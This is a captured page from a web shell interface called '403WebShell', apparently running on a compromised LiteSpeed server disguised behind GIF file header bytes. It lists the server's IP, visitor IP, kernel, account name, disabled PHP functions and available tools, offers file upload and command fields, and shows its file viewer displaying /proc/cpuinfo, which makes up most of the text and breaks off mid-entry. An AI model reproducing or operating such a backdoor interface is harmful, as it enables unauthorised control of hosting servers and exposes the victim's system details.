GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ý NETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýý m&ýýE8ýSýkGýAýpxýaýýý R2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|s hýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPý ýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbx ýl5}ýpý ýýý ý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~ 6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5 !_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýý ýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp% AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ý ýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`A ý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý 403WebShell
403Webshell
Server IP : 217.18.85.50  /  Your IP : 18.191.44.145
Web Server : LiteSpeed
System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : ferhatgenc ( )
PHP Version : 7.2.34
Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//cpuinfo
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 0
cpu cores	: 20
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 1
cpu cores	: 20
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 2
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 2
cpu cores	: 20
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 3
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 3
cpu cores	: 20
apicid		: 3
initial apicid	: 3
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 4
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 4
cpu cores	: 20
apicid		: 4
initial apicid	: 4
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 5
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 5
cpu cores	: 20
apicid		: 5
initial apicid	: 5
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 6
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 6
cpu cores	: 20
apicid		: 6
initial apicid	: 6
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 7
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 7
cpu cores	: 20
apicid		: 7
initial apicid	: 7
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 8
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 8
cpu cores	: 20
apicid		: 8
initial apicid	: 8
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 9
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 9
cpu cores	: 20
apicid		: 9
initial apicid	: 9
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 10
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 10
cpu cores	: 20
apicid		: 10
initial apicid	: 10
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 11
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 11
cpu cores	: 20
apicid		: 11
initial apicid	: 11
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 12
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 12
cpu cores	: 20
apicid		: 12
initial apicid	: 12
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 13
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 13
cpu cores	: 20
apicid		: 13
initial apicid	: 13
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 14
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 14
cpu cores	: 20
apicid		: 14
initial apicid	: 14
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 15
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 15
cpu cores	: 20
apicid		: 15
initial apicid	: 15
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 16
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 16
cpu cores	: 20
apicid		: 16
initial apicid	: 16
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 17
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 17
cpu cores	: 20
apicid		: 17
initial apicid	: 17
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 18
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 18
cpu cores	: 20
apicid		: 18
initial apicid	: 18
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 19
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 0
siblings	: 20
core id		: 19
cpu cores	: 20
apicid		: 19
initial apicid	: 19
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon nopl xtopology tsc_reliable nonstop_tsc eagerfpu pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap xsaveopt arat md_clear spec_ctrl intel_stibp flush_l1d arch_capabilities
bogomips	: 4794.44
clflush size	: 64
cache_alignment	: 64
address sizes	: 43 bits physical, 48 bits virtual
power management:

processor	: 20
vendor_id	: GenuineIntel
cpu family	: 6
model		: 79
model name	: Intel(R) Xeon(R) CPU E5-2680 v4 @ 2.40GHz
stepping	: 1
microcode	: 0xb000040
cpu MHz		: 2397.223
cache size	: 35840 KB
physical id	: 1
siblings	: 20
core id		: 0
cpu cores	: 20
apicid		: 32
initial apicid	: 32
fpu		: yes
fpu_exception	: yes
cpuid level	: 20
wp		: yes
